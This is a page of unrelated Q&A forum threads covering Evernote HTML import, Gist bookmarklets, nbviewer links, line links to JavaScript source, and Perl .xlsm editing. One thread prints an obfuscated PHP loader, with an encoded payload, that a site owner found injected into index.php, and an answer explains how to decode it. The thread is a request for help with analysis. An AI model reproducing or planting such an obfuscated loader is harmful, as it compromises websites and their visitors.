Import HTML via Command Line per documentation - command-line

Per this page in Evernote's Developer Documentation, I should be able to create a note from an existing html page with the command line syntax : Evernote myfile.html.
It works fine for myfile.txt but simply ignores an .html file.
This previous forum post from 2014 seems to suggest this a long standing known issue that has not been corrected,nor has the documentation changed to indicate this is not the desired/expected behavior.
Am I doing something wrong? Is there a simple way to import a HTML file into Evernote not as an attachment, but the note itself?
Thank you.

Related

i have found a suspicious php script on my website index page can someone explain this to me

Can Some one explain to me how was the script injected to my hosting account index.php file ?
$eGOuHaCwPcvx='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$eGOuHaCwPcvx[(105/15)].$eGOuHaCwPcvx[(26-1)].$eGOuHaCwPcvx[(1*49)].$eGOuHaCwPcvx[((10*1)+18)].$eGOuHaCwPcvx[(14+22)].$eGOuHaCwPcvx[(44+5)].$eGOuHaCwPcvx[(44-13)].$eGOuHaCwPcvx[(684/18)].$eGOuHaCwPcvx[(23+4)].$eGOuHaCwPcvx[(72-(33-7))].$eGOuHaCwPcvx[(154/22)].$eGOuHaCwPcvx[(11+25)].$eGOuHaCwPcvx[(65-(62-31))].$eGOuHaCwPcvx[(26-6)].$eGOuHaCwPcvx[((27*2)-8)];
$pHFdNhg9688=$eGOuHaCwPcvx[(20-9)].$eGOuHaCwPcvx[(2*4)].$eGOuHaCwPcvx[(29*1)].$eGOuHaCwPcvx[(160/4)];
$MYtraky2482=$eGOuHaCwPcvx[(8*5)].$eGOuHaCwPcvx[((1+0)+2)].$eGOuHaCwPcvx[(6+(1*(95/19)))].$eGOuHaCwPcvx[(140/5)].$eGOuHaCwPcvx[(522/18)].$eGOuHaCwPcvx[(7*((7-3)-2))].$eGOuHaCwPcvx[(2*14)].$eGOuHaCwPcvx[(138/(2+4))].$eGOuHaCwPcvx[(1029/(378/18))].$eGOuHaCwPcvx[((2*189)/9)].$eGOuHaCwPcvx[(12+(0+0))].$eGOuHaCwPcvx[(31*1)].$eGOuHaCwPcvx[(48/(36/12))].$eGOuHaCwPcvx[(735/15)].$eGOuHaCwPcvx[(0+7)].$eGOuHaCwPcvx[(18+2)].$eGOuHaCwPcvx[(18-(10/5))].$eGOuHaCwPcvx[(735/15)].$eGOuHaCwPcvx[(0+(2-(1*1)))].$eGOuHaCwPcvx[(16-(3+(36/(0+18))))].$eGOuHaCwPcvx[((167-23)/18)].$eGOuHaCwPcvx[(0+(18-9))].$eGOuHaCwPcvx[(1*3)].$eGOuHaCwPcvx[(11*(1+(0/(78/13))))].$eGOuHaCwPcvx[(2*7)].$eGOuHaCwPcvx[(29*(0+1))].$eGOuHaCwPcvx[(38-(8+9))].$eGOuHaCwPcvx[(15*2)].$eGOuHaCwPcvx[(45-11)].$eGOuHaCwPcvx[(1*46)].$eGOuHaCwPcvx[(1*(17+21))].$eGOuHaCwPcvx[(78/3)].$eGOuHaCwPcvx[(21+(77/11))].$eGOuHaCwPcvx[(22+14)].$eGOuHaCwPcvx[(343/(91/13))].$eGOuHaCwPcvx[(1*1)].$eGOuHaCwPcvx[(21-10)].$eGOuHaCwPcvx[(22+(12/2))].$eGOuHaCwPcvx[(180/20)].$eGOuHaCwPcvx[(3+((0+0)*1))].$eGOuHaCwPcvx[(686/(126/9))].$eGOuHaCwPcvx[(61-(32-8))].$eGOuHaCwPcvx[(476/17)].$eGOuHaCwPcvx[((4-0)+22)].$eGOuHaCwPcvx[(((23-(2*5))/13)-0)].$eGOuHaCwPcvx[(7+(84/21))].$eGOuHaCwPcvx[(28/2)].$eGOuHaCwPcvx[(9-0)].$eGOuHaCwPcvx[(3*1)];
$UrR1094= "'7Rxpd9s28rP9K2g+v1Da0pScu7blxEmUY19ieyVld/PaLB9NQhLXFKElKctK6/++M7gIXrKcpK/dQ6+xcMyFwWAwA0AlSUITNyFzmmRhPGl124fbz1OSuVk4I24UzsKs9eBxlzWHk5gmxF2kJHG9C0Bo7UPz7vUsir0ZMXqGNfPmaepAgwXtQQZNXSikYUagxx2HEYMSdYSBr3gxg8b73S6AhuNWmAL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/6LxNvycn97Q3JGDgTwEsuwhgKr8N0aqQEeZiweKBxAnRwHV14YbDAgkcjS3ThN9f5Cw50Mk3IOMVK7YLTLOg/f8XxyIa9AeYrjj0W2+gpsBzEThGnsNqqD4Nl10bPg28FrnkkrHiXR1J+L1wgrr8aztUpnw4XSBXeD6t3Efn7EflUQO0A+s+K+HOS0lsS5rACVBUeddRB4Gc5xYy9xS/KABaffXDYaZv/pJXNc/3dWfHH73icxZJ3dpDAf/2HxZ2e6ZiFmmM2/X8axCh/+oxJAFbudjLMFC7FPyybcUX7wAn1/m8='";
$JTx2343=$pHFdNhg9688;
$JTx2343.=$UrR1094;
$JTx2343.=$MYtraky2482;
#$mEriqO3481=$q2866((''), ($JTx2343));
#$mEriqO3481();
I used
http://www.unphp.net/
Posted in your code and pressed decode. Bingo!
Pasted the output into my php editor to read it through more easily.
Out of curioisity, I also copied some of the urls in the code that go to malicicous txt files to see what was being called.
Looks like a wp hack.

Why is Gist showing "File suppressed. Click to show."?

This gist is showing a message File suppressed. Click to show. on one of the files. Why is this file suppressed?
The file contains a bookmarklet, starting with javascript:, perhaps that is not safe?
I have one that is not dangerous, only a variable declaration, but it is very long. Perhaps that is the reason? (length).
Me too. When I created a bookmarklet I was surprised too for that message, so I googled and came here.
Initially I had a js code in one line and a comment with a word "bookmark", but I tried and pasted the full code and later the one line bookmarlet specifying it. Also to reassure I pasted the bookmarklet in a comment too
Here you can see: Gist

Hosting ipython notebooks on Github

I maintain a Github repository with currently two ipython notebook files.
My repository is here:
https://github.com/tschm/MosekRegression
When I try to open those files with the nbviewer, e.g. using
nbviewer.ipython.org
and inserting
http://nbviewer.ipython.org/urls/github.com/tschm/MosekRegression/blob/master/Data.ipynb
i get the 400 Bad Request Error. The file is good as it works when I make it available as a Gist. First research seems to indicate that this is a permission problem? I bet I do something stupid here...
Many thanks
Thomas
Expanding on #chuwy's answer, here's a breakdown of steps. The trick is to head to your file's page on github and then click on the "Raw" button:
then copy the url (minus the protocol string "http://"), and prepend it with "http://nbviewer.ipython.org/urls/"
So for example, if I have my iPython notebook:
https://github.com/watsonix/prediction_for_fun_and_profit/blob/master/statsmodel_outliers.ipynb
and I want to see it in the nbviewer, I click on "Raw" to get the URL:
https://raw.githubusercontent.com/watsonix/prediction_for_fun_and_profit/master/statsmodel_outliers.ipynb
which I use to form the URL:
http://nbviewer.ipython.org/urls/raw.githubusercontent.com/watsonix/prediction_for_fun_and_profit/master/statsmodel_outliers.ipynb
voila!
Valid link is http://nbviewer.ipython.org/urls/raw.github.com/tschm/MosekRegression/master/Minimum%20Variance.ipynb
Your link points to the github's html page with your file. You should give the raw file instead.
It now appears that gist automatically renders iPython notebooks! I have been using nbviewer, but I just noticed that GitHub renders the ipynb file perfectly.

Link to specific line in javascript source?

I have javascript source code served at http://www.example.com/static/script.js. I'm writing documentation and rather than including the code of certain functions I want to refer to, I'd just like to link to the source- but I would like to link to the specific line of the Function in the source document.
Is this possible, to create a link to a text document at a specific line without using html anchors or javascript window.scrollTo?
Never found a way to link to javascript source, but easy to do with GitHub - Just add "#L" + lineNo to the url. For instance: https://github.com/ArbolEric/RaphaGraph/blob/master/src.js#L210
Highlights and jumps to line.

How to write to an existing .xlsm file through Perl

Could someone please clarify if there is any Perl package to edit a pre-existing .xlsm file?
I tried few examples posted in CPAN page and this site which use the combination of WriteExcel and ParseExcel::SaveParser. They are not working for .xlsm file.
Any help would be appreciated.
Thanks.
It's not possible to open an existing xlsm file using Excel::Writer::XLSX, as of version 0.72 Excel::Writer::XLSX, according to the page given by psxls (quote: "This module cannot, as yet, be used to write to an existing Excel XLSX file.").
A solution is to use Win32:OLE, it's well explained in this tutorial: http://www.perlmonks.org/?node_id=153486. It tested it on my side, I was able to modify a pre-existing xlsm file.
I think Excel::Writer::XLSX should work for you. For getting started, you can check the related author's blog post and a related Perl script example.